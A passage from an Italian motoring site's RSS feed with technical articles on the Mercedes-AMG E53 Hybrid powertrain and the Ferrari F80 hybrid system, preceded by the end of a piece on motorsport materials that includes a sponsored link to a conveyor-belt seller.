<p class="wp-block-paragraph">Questa necessità di precisione non riguarda solo la lavorazione finale, ma l&#8217;intero percorso del componente, dalla materia prima all&#8217;assemblaggio. La movimentazione di pezzi delicati, la gestione dei flussi produttivi in ambienti puliti e il controllo qualità richiedono sistemi che garantiscano zero errori. Ad esempio, per comprendere meglio come viene mantenuta l&#8217;integrità dei materiali e l&#8217;efficienza nelle linee di produzione che lavorano componenti così sensibili (come le batterie della Formula E o le parti in titanio della MotoGP), è utile consultare risorse specializzate nell&#8217;ottimizzazione del trasporto interno e dell&#8217;automazione. Aziende leader nel settore della movimentazione industriale offrono approfondimenti critici su come i flussi di lavoro sono gestiti per massimizzare la velocità e minimizzare i danni. Per chi desidera approfondire l&#8217;efficienza logistica e i sistemi che supportano la produzione di alta precisione, si consiglia la lettura degli studi e dei casi studio disponibili su <a href="https://www.montiimpianti.it/" target="_blank" rel="noopener"><strong>montiimpianti.it</strong></a>, realtà specializzata nella vendita di nastri trasportatori.</p>



<h2 class="wp-block-heading"><a></a><strong>Il futuro è leggero e sostenibile</strong></h2>



<p class="wp-block-paragraph">Guardando avanti, le competizioni continuano a guidare l&#8217;innovazione verso due direzioni chiave: maggiore leggerezza e maggiore sostenibilità. La Formula E e le gare <em>hybrid</em> stanno spingendo l&#8217;uso di materiali riciclati e processi produttivi a basso impatto.</p>



<p class="wp-block-paragraph">I ricercatori stanno esplorando resine termoplastiche che possono essere riciclate più facilmente rispetto alle attuali resine termoindurenti utilizzate nella fibra di carbonio tradizionale. Inoltre, la miniaturizzazione e l&#8217;ottimizzazione dei sistemi di raffreddamento delle batterie, basati su materiali compositi avanzati, rappresentano la nuova frontiera per aumentare l&#8217;autonomia e la sicurezza dei veicoli elettrici, sia in pista che su strada.</p>



<p class="wp-block-paragraph">In conclusione, la vera competizione non si svolge solo tra i piloti, ma anche tra gli ingegneri dei materiali, i chimici e gli esperti di produzione. La loro &#8220;danza invisibile&#8221; di innovazione è ciò che alimenta non solo l&#8217;alta velocità, ma l&#8217;intero futuro della mobilità.</p>



<h3 class="wp-block-heading"><a></a><strong>&nbsp;</strong></h3>
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		<title>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 11 Nov 2025 16:03:25 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La nuova Mercedes-AMG E53 Hybrid 4MATIC+ rappresenta la perfetta sintesi tra la raffinatezza del classico sei cilindri in linea a benzina e l&#8217;efficienza di un sistema ibrido plug-in ad alte prestazioni. Sotto il cofano lavora il classico motore turbo da 3,0 litri siglato M256M da 449 CV, affiancato da un motore elettrico integrato da 163 [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La nuova Mercedes-AMG E53 Hybrid 4MATIC+ rappresenta la perfetta sintesi tra la raffinatezza del classico sei cilindri in linea a benzina e l&#8217;efficienza di un sistema ibrido plug-in ad alte prestazioni. Sotto il cofano lavora il classico motore turbo da 3,0 litri siglato M256M da 449 CV, affiancato da un motore elettrico integrato da 163 CV. La potenza combinata raggiunge i 585 CV e 750 Nm di coppia, con punte temporanee fino a 612 CV in modalità overboost per sprint e sorpassi fulminei.</p>



<p class="wp-block-paragraph">La trazione è gestita dal cambio automatico AMG SPEEDSHIFT TCT a 9 rapporti e distribuita su tutte le ruote dal sistema 4MATIC+ completamente variabile. La batteria da 28,6 kWh garantisce un&#8217;autonomia elettrica fino a 90-100 km (WLTP), consentendo di viaggiare a zero emissioni fino a 140 km/h. Le prestazioni restano da vera AMG: 0-100 km/h in 3,8 secondi e velocità massima di 250 km/h, estendibile a 280 km/h con il pacchetto AMG Driver&#8217;s Package opzionale.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="300" height="168" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/images-2.jpg" alt="images 2" class="wp-image-166866" title="Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 75"><figcaption>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 80</figcaption></figure>



<h2 class="wp-block-heading">Piattaforma tecnica MRA II e componenti AMG</h2>



<p class="wp-block-paragraph">La piattaforma tecnica è la MRA II (Modular Rear Architecture), sviluppata per modelli a trazione posteriore elettrificati. La E53 si arricchisce di componenti AMG come trasmissione rinforzata, sospensioni pneumatiche sportive e ruote posteriori sterzanti di serie per un&#8217;agilità superiore.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="930" height="600" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/M256-Engine-Mercedes.jpg" alt="M256 Engine Mercedes" class="wp-image-166867" title="Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 76" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/M256-Engine-Mercedes.jpg 930w, https://www.giornalemotori.com/wp-content/uploads/2025/11/M256-Engine-Mercedes-768x495.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/M256-Engine-Mercedes-300x194.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/M256-Engine-Mercedes-696x449.jpg 696w" sizes="(max-width: 930px) 100vw, 930px" /><figcaption>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 81</figcaption></figure>



<h2 class="wp-block-heading">Motore termico M256M: sei cilindri da 449 CV</h2>



<p class="wp-block-paragraph">Nello specifico, il motore benzina che compone il sistema è l&#8217;M256M da 2.999 cm³, sei cilindri in linea ricavato con un alesaggio di 83 mm e una corsa da 92,4 mm per una potenza complessiva di 449 CV disponibili da 5.800 a 6.100 giri/min e 560 Nm disponibili già dai 2.200 giri, rimanendo costanti fino a 5.000 giri.</p>



<p class="wp-block-paragraph">La potenza specifica è di 149,7 CV/litro, con rapporto di compressione piuttosto alto da 10,5:1, distribuzione a quattro valvole per cilindro con doppio albero a camme in testa e sistema di variazione di fase Camtronic, con iniezione diretta e sovralimentazione Twinscroll con intercooler. Il sistema antinquinamento è gestito dalla funzione start&amp;stop e dalla presenza di un filtro antiparticolato.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="569" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/5-1024x569.jpg" alt="5" class="wp-image-166868" title="Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 77" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/5-1024x569.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/11/5-768x427.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/5-300x167.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/5-696x387.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/11/5.jpg 1075w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 82</figcaption></figure>



<h2 class="wp-block-heading">Unità elettrica: 163 CV in configurazione P2</h2>



<p class="wp-block-paragraph">La parte elettrica è composta da un motore elettrico inserito nella trasmissione tra volano e cambio secondo uno schema meccanico P2. Si tratta di un motore sincrono a magneti permanenti che occupa lo spazio prima riservato al classico convertitore di coppia. La potenza è di 163 CV e 480 Nm di coppia.</p>



<p class="wp-block-paragraph">La potenza di sistema è pari a 585 CV con 750 Nm di coppia, con la possibilità di erogare 612 CV con funzione boost attivata. La batteria è composta da un elemento da 28,6 kWh lordi per un uso effettivo da 21,2 kWh e un&#8217;alimentazione a 400 V. La composizione delle celle è agli ioni di litio, posizionata sotto il bagagliaio in posizione posteriore. La potenza di recupero in passivo con frenata rigenerativa è di 120 kW per una percorrenza media in EV che va dai 93 ai 101 km con un consumo medio che va da 24,1 a 25,9 kWh/100 km, utilizzabile fino a 140 km/h.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="936" height="616" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/image-240.jpg" alt="image 240" class="wp-image-166869" title="Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 78" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/image-240.jpg 936w, https://www.giornalemotori.com/wp-content/uploads/2025/11/image-240-768x505.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/image-240-300x197.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/image-240-696x458.jpg 696w" sizes="(max-width: 936px) 100vw, 936px" /><figcaption>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 83</figcaption></figure>



<h2 class="wp-block-heading">Peso, prestazioni e consumi ottimizzati</h2>



<p class="wp-block-paragraph">Il peso complessivo dell&#8217;auto consente un rapporto peso-potenza da 4 kg/CV e 3,1 kg/Nm. Le prestazioni dichiarano uno 0-100 km/h in 4,0 secondi e 250 km/h limitati, che possono passare a 270 km/h con pacchetto apposito. I valori di consumo dichiarati per il ciclo di omologazione WLTP sono di 0,8 litri/100 km a batteria piena e con prevalenza del percorso urbano. Tale valore passa a circa 7 litri/100 km per un uso autostradale secondo la velocità massima imposta dal codice a 130 km/h e un interessante valore di 5,0 litri per un uso combinato dell&#8217;auto. Un valore di consumo tenuto basso dalla possibilità di gestione decisa dai tecnici AMG che non azzera la capacità della batteria.</p>



<p class="wp-block-paragraph">Conservare una parte dell&#8217;energia, accendendo in anticipo il motore benzina, consente di gestire la potenza in ogni condizione, ma soprattutto di sfruttare una parte minima di energia per funzionare come una vettura full hybrid nelle condizioni di minore capacità.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1005" height="217" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/Mercedes-AMG-E-53-HYBRID-2_0.png" alt="Mercedes AMG E 53 HYBRID 2 0" class="wp-image-166870" title="Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 79" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/Mercedes-AMG-E-53-HYBRID-2_0.png 1005w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Mercedes-AMG-E-53-HYBRID-2_0-768x166.png 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Mercedes-AMG-E-53-HYBRID-2_0-300x65.png 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Mercedes-AMG-E-53-HYBRID-2_0-696x150.png 696w" sizes="(max-width: 1005px) 100vw, 1005px" /><figcaption>Best Engine: Mercedes-AMG E53 Hybrid 4MATIC+, quando potenza e efficienza si incontrano 84</figcaption></figure>



<h2 class="wp-block-heading">AMG DYNAMIC SELECT: modalità di guida personalizzabili</h2>



<p class="wp-block-paragraph">La Mercedes-AMG E53 Hybrid 4MATIC+ offre un&#8217;ampia gamma di modalità di guida tramite il sistema AMG DYNAMIC SELECT, che comprende sia le impostazioni AMG convenzionali sia modalità specifiche per i modelli ibridi.</p>



<p class="wp-block-paragraph">Attraverso il volante Performance AMG, alcuni pulsanti aggiuntivi consentono di influenzare direttamente l&#8217;esperienza di guida. Queste manopole con piccoli pulsanti a display sono completamente regolabili, potendo decidere quali funzioni attivare.</p>



<p class="wp-block-paragraph">A seconda dell&#8217;equipaggiamento, è possibile scegliere le impostazioni dell&#8217;ESP, la rigidità dell&#8217;assetto AMG Ride Control, il cambio manuale o la regolazione dell&#8217;AMG Real Performance Sound. Anche le viste della telecamera e i programmi di guida di AMG DYNAMICS sono accessibili tramite il volante.</p>



<h2 class="wp-block-heading">Modalità di guida elettrica e gestione intelligente della batteria</h2>



<p class="wp-block-paragraph">La guida in elettrico garantisce un&#8217;autonomia fino a oltre 100 km; in caso di forte accelerazione o bassa tensione della batteria, il motore a combustione si accende automaticamente. La funzione Battery Hold preserva la carica della batteria e l&#8217;uso del motore elettrico è ridotto al minimo e ottimizzato; ideale per preservare l&#8217;autonomia elettrica in un secondo momento, ad esempio per la guida in città.</p>



<h2 class="wp-block-heading">Rigenerazione dell&#8217;energia: quattro livelli personalizzabili</h2>



<p class="wp-block-paragraph">La rigenerazione dell&#8217;energia frenante prevede quattro modalità di recupero regolabili. Queste consentono di decidere quanta energia viene recuperata non appena si rilascia l&#8217;acceleratore. Le modalità sono facilmente selezionabili tramite i paddle dietro al volante, in modo da poter passare rapidamente dalla frenata massima alla guida in folle.</p>



<p class="wp-block-paragraph">Le modalità selezionabili sono:</p>



<ul class="wp-block-list">
<li><strong>D-</strong>: forte recupero, decelerazione marcata al rilascio dell&#8217;acceleratore, ideale nel traffico cittadino o su percorsi tortuosi; spesso è possibile guidare quasi con un solo pedale</li>



<li><strong>D</strong>: recupero normale, equilibrato tra produzione di energia e comfort, piacevole per l&#8217;uso quotidiano</li>



<li><strong>D+</strong>: nessun recupero, l&#8217;auto rotola quasi liberamente (&#8220;veleggia&#8221;), ideale per lunghi viaggi in autostrada</li>



<li><strong>D AUTO</strong>: modalità intelligente che regola automaticamente l&#8217;intensità dell&#8217;energia frenante in base alla situazione del traffico, al percorso e alla modalità di guida selezionata</li>
</ul>



<h2 class="wp-block-heading">ECO Assistant: intelligenza artificiale per l&#8217;efficienza</h2>



<p class="wp-block-paragraph">L&#8217;ECO Assistant analizza costantemente il percorso pianificato. Questo permette al sistema di adattare in modo ottimale lo stile di guida al percorso, risparmiando carburante e recuperando energia. L&#8217;assistente riconosce un veicolo che precede e calcola la velocità ideale in base a distanza, velocità e pendenza per sfruttare al massimo l&#8217;efficienza nei consumi e il recupero di energia.</p>



<h2 class="wp-block-heading">Ricarica rapida AC e DC: una rarità nel segmento</h2>



<p class="wp-block-paragraph">Per sfruttare al massimo la guida e la potenza di una AMG E53, avere la carica iniziale è sempre preferibile. Vettura unica nel suo genere per un ibrido plug-in in questo segmento, la Mercedes-AMG E53 Hybrid 4MATIC+ supporta non solo la ricarica rapida in corrente alternata (AC), ma anche in corrente continua (DC).</p>



<p class="wp-block-paragraph">Una soluzione che migliora notevolmente la fruibilità della modalità di guida elettrica. La ricarica in corrente continua consente di ricaricare la capiente batteria da 28,6 kWh in breve tempo, rendendo possibile una ricarica rapida anche in viaggio di tipo autostradale o per l&#8217;uso in pista se è disponibile una colonnina DC.</p>
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		<item>
		<title>Analisi Tecnica: Ferrari F80, L&#8217;Hypercar da 1200 CV per gli 80 Anni del Cavallino</title>
		<link>https://www.giornalemotori.com/2025/11/07/analisi-tecnica-ferrari-f80-lhypercar-da-1200-cv-per-gli-80-anni-del-cavallino/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=analisi-tecnica-ferrari-f80-lhypercar-da-1200-cv-per-gli-80-anni-del-cavallino</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 07 Nov 2025 17:01:02 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>La Ferrari F80 è l&#8217;hypercar del Cavallino Rampante che celebra gli 80 anni di vita del brand modenese. Una tradizione cominciata negli anni &#8217;80 del secolo scorso con la nascita della prima Ferrari 288 GTO. Da quel lontano 1984, si sono susseguite la mitica F40, la F50, poi la Enzo e infine LaFerrari. L&#8217;ultima arrivata [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2025/11/07/analisi-tecnica-ferrari-f80-lhypercar-da-1200-cv-per-gli-80-anni-del-cavallino/">Analisi Tecnica: Ferrari F80, L&#8217;Hypercar da 1200 CV per gli 80 Anni del Cavallino</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La Ferrari F80 è l&#8217;hypercar del Cavallino Rampante che celebra gli 80 anni di vita del brand modenese. Una tradizione cominciata negli anni &#8217;80 del secolo scorso con la nascita della prima Ferrari 288 GTO. Da quel lontano 1984, si sono susseguite la mitica <a href="https://www.giornalemotori.com/2022/08/12/ferrari-f40-competizione-una-regina-senza-il-suo-regno/" data-type="post" data-id="116670">F40</a>, la F50, poi la <a href="https://www.giornalemotori.com/2024/08/14/enzo-ferrari-36-anni-fa-la-fine-del-mito-e-linizio-della-leggenda/" data-type="post" data-id="139646">Enzo </a>e infine LaFerrari.</p>



<p class="wp-block-paragraph"> L&#8217;ultima arrivata rappresenta lo stato dell&#8217;arte della tecnologia del Cavallino per una produzione limitata a 799 esemplari a un costo di 3,5 milioni di euro. Se avete intenzione di andare a Maranello sventolando un assegno con questa cifra, sappiate che sono state tutte vendute a clienti già selezionati accuratamente dallo staff commerciale di Ferrari.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk-1024x576.avif" alt="670d2bef4cfd1f0079c40dae ferrari f80 powertrain 2024 focus 1 desk" class="wp-image-165937" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 85" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk-1024x576.avif 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk-768x432.avif 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk-300x169.avif 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk-696x392.avif 696w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670d2bef4cfd1f0079c40dae-ferrari-f80-powertrain-2024-focus-1-desk.avif 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 93</figcaption></figure>



<h2 class="wp-block-heading">Il Sistema Ibrido Derivato dalle corse</h2>



<p class="wp-block-paragraph">Per questa edizione della sua hypercar, la Ferrari ha deciso di attingere al mondo delle corse con un occhio particolare più alle gare di durata del WEC che alla F1. La F80 è una vettura che adotta uno schema ibrido di tipo parallelo puro P2/P4. Il motore benzina è derivato dal V6 bi-turbo, un propulsore ultima evoluzione rispetto alla SF90 Stradale. </p>



<p class="wp-block-paragraph">Sull&#8217;assale posteriore, inserito tra motore e cambio, si trova un motore elettrico con sistema di recupero energetico. Nella zona anteriore si trovano la batteria e due motori elettrici che azionano in modo differenziato l&#8217;assale anteriore. In questo modo la F80 è sia una trazione integrale, sia una vettura che può vantare l&#8217;azione dei due motori elettrici singoli, utilizzati sia per la marcia in modalità elettrica che per la gestione del torque vectoring e della massima tenuta di strada.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-1024x1024.avif" alt="670fc3516eba150012b0f054 ferrari f80 engine focus 2" class="wp-image-165938" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 86" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-1024x1024.avif 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-150x150.avif 150w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-768x768.avif 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-300x300.avif 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2-696x696.avif 696w, https://www.giornalemotori.com/wp-content/uploads/2025/11/670fc3516eba150012b0f054-ferrari-f80-engine-focus-2.avif 1080w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 94</figcaption></figure>



<h2 class="wp-block-heading">Il V6 Bi-Turbo da 300 CV/Litro</h2>



<p class="wp-block-paragraph">In particolare, il propulsore benzina F136CF è l&#8217;ultima evoluzione del V6 Bi-Turbo con angolo tra le bancate di 120° da 3.0 litri, in grado di erogare 900cv e 850Nm di coppia raggiungendo la ragguardevole potenza specifica di 300 CV/litro. La doppia sovralimentazione è stata ottenuta utilizzando due turbocompressori ibridi con la girante di compressione collegata a un motore elettrico a 48V per fornire spinta quando i gas di scarico non hanno ancora raggiunto l&#8217;energia sufficiente.</p>



<p class="wp-block-paragraph">Questa soluzione consente di azzerare il ritardo di risposta del turbo, potendo sfruttare appieno tutti i vantaggi della sovralimentazione su tutto l&#8217;arco dei giri come se fosse un motore aspirato di almeno il doppio, se non il triplo della cilindrata.</p>



<p class="wp-block-paragraph">La disposizione dei due turbocompressori nella zona alta del motore, all&#8217;interno della bancata, ha permesso di accorciare la lunghezza dei condotti di scarico che alimentano la girante della zona calda.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="781" height="990" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/Ferrari-F80-F250-engine-MGU-K.webp" alt="Ferrari F80 F250 engine MGU K" class="wp-image-165939" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 87" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-MGU-K.webp 781w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-MGU-K-768x974.webp 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-MGU-K-300x380.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-MGU-K-696x882.webp 696w" sizes="(max-width: 781px) 100vw, 781px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 95</figcaption></figure>



<h2 class="wp-block-heading">La Tecnologia del Turbo Ibrido Elettrico</h2>



<p class="wp-block-paragraph">Un turbo ibrido elettrico (noto anche come e-turbo o turboelettrico) combina un turbocompressore tradizionale con un motore-generatore elettrico integrato sull&#8217;albero del turbo. Questo sistema viene utilizzato per migliorare la risposta, l&#8217;efficienza e la gestione energetica del motore termico.</p>



<p class="wp-block-paragraph">I vantaggi sono nell&#8217;eliminazione del turbo lag: il motore elettrico integrato, infatti, accelera la turbina istantaneamente, fornendo pressione di sovralimentazione immediata e ottenendo una risposta più pronta dell&#8217;acceleratore, soprattutto ai bassi regimi. Inoltre, si ottiene un recupero di energia quando non serve compressione, ad esempio in rilascio o in veleggiamento, funzionando da generatore e recuperando parte dell&#8217;energia dei gas di scarico immagazzinandola nella batteria.</p>



<p class="wp-block-paragraph">Si ottiene, in questo modo, una maggiore potenza e coppia su tutto il range di giri, erogando una pressione costante a qualsiasi regime e riducendo di fatto le dimensioni del turbo, ottenendo la spinta di un turbo grande con la reattività di uno piccolo. Le prestazioni sono sempre elevate, ma le curve di coppia sono più piatte nell&#8217;erogazione.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/109-Garrett-basic-e-Turbo-system-layout-1024x576.jpg" alt="109 Garrett basic e Turbo system layout" class="wp-image-165940" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 88" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/109-Garrett-basic-e-Turbo-system-layout-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/11/109-Garrett-basic-e-Turbo-system-layout-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/109-Garrett-basic-e-Turbo-system-layout-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/109-Garrett-basic-e-Turbo-system-layout-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/11/109-Garrett-basic-e-Turbo-system-layout.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 96</figcaption></figure>



<h2 class="wp-block-heading">Emissioni e Efficienza</h2>



<p class="wp-block-paragraph">In un&#8217;era in cui anche le hypercar devono sottostare a norme sempre più severe, migliora il controllo termico con emissioni ridotte, gestendo meglio le temperature di scarico e combustione. L&#8217;ottimizzazione del flusso d&#8217;aria, infatti, riduce la formazione di NOₓ e particolato, migliorando le emissioni complessive. </p>



<p class="wp-block-paragraph">Tale scelta tecnica si abbina in modo naturale al sistema full hybrid della F80, migliorando anche l&#8217;autonomia in modalità elettrica dell&#8217;auto. L&#8217;ottimizzazione intelligente del motore, infatti, permette di regolare dinamicamente la pressione di sovralimentazione, sfruttando al meglio il recupero energetico e migliorando anche l&#8217;affidabilità.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="423" height="390" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/macchina-a-fusso-assiale-magneti-permanenti-brushless-pm.png" alt="macchina a fusso assiale magneti permanenti brushless pm" class="wp-image-165941" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 89" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/macchina-a-fusso-assiale-magneti-permanenti-brushless-pm.png 423w, https://www.giornalemotori.com/wp-content/uploads/2025/11/macchina-a-fusso-assiale-magneti-permanenti-brushless-pm-300x277.png 300w" sizes="(max-width: 423px) 100vw, 423px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 97</figcaption></figure>



<h2 class="wp-block-heading">Il Motore Elettrico a Flusso Assiale</h2>



<p class="wp-block-paragraph">Tra il motore benzina e la trasmissione è collocato, secondo uno schema parallelo P2, l&#8217;unità elettrica che eroga soli 81 CV e 45 Nm in assistenza di coppia e potenza, mentre riesce a generare 95 CV di potenza rigenerativa nelle fasi passive.</p>



<p class="wp-block-paragraph">Si tratta di un propulsore elettrico a flusso assiale, il cui flusso magnetico si sviluppa parallelamente all&#8217;asse di rotazione, a differenza dei motori a flusso radiale dove il flusso è perpendicolare all&#8217;asse. Questa architettura conferisce al motore una serie di vantaggi notevoli:</p>



<p class="wp-block-paragraph"><strong>Alta densità di potenza</strong>: fornisce più potenza a parità di massa o volume rispetto a un motore a flusso radiale. Ciò deriva dalla maggiore area attiva del disco e da una coppia per unità di massa molto elevata.</p>



<p class="wp-block-paragraph"><strong>Elevata coppia a bassa velocità</strong>: la sua geometria composta da dischi di grande diametro genera una coppia elevata anche a bassi regimi, riducendo o eliminando la necessità di un cambio di velocità.</p>



<p class="wp-block-paragraph"><strong>Design compatto e piatto</strong>: essendo molto sottile, dalla forma a disco, è ideale quando lo spazio è limitato come nel caso della F80.</p>



<p class="wp-block-paragraph"><strong>Maggiore efficienza energetica</strong>: riduce le perdite grazie al flusso magnetico più diretto e alla ridotta lunghezza del percorso di corrente, raggiungendo un&#8217;efficienza del 98%.</p>



<p class="wp-block-paragraph"><strong>Raffreddamento efficiente</strong>: grazie alla forma piatta, consente un raffreddamento più uniforme su entrambe le facce del motore, migliorando la gestione termica e mantenendo prestazioni elevate anche in funzionamento continuo o in ambienti difficili come la pista.</p>



<p class="wp-block-paragraph"><strong>Integrazione semplificata</strong>: può essere montato direttamente sull&#8217;albero, riducendo gli ingranaggi, le perdite meccaniche e la complessità complessiva. Fa un minor uso di materiali costosi come il rame e l&#8217;acciaio grazie alla struttura più compatta e all&#8217;uso di dischi sottili.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="480" height="480" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/Ferrari-F80-F250-front-axle.jpg" alt="Ferrari F80 F250 front" class="wp-image-165943" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 90" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-front-axle.jpg 480w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-front-axle-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-front-axle-300x300.jpg 300w" sizes="(max-width: 480px) 100vw, 480px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 98</figcaption></figure>



<h2 class="wp-block-heading">Trasmissione e Trazione Integrale</h2>



<p class="wp-block-paragraph">La trasmissione è un cambio a doppia frizione DCT a otto rapporti con gestione elettronica delle cambiate e delle modalità di funzionamento. I motori elettrici posti sull&#8217;assale anteriore hanno una potenza di 142 CV e 121 Nm di coppia, con la possibilità di aggiungere potenza al sistema, gestire la trazione integrale e, con la gestione separata della potenza, fungere anche da torque vectoring.</p>



<p class="wp-block-paragraph">Nel complesso, le tre unità elettriche forniscono al motore benzina, in parallelo, circa 300 CV. Una potenza aggiuntiva che dipende dal livello di batteria, ma la F80 ha una modalità di guida estrema in cui il motore benzina e i motori elettrici, nel fornire la massima prestazione, si assicurano di avere sempre potenza dalla batteria per evitare di perdere i 300 CV aggiuntivi.</p>



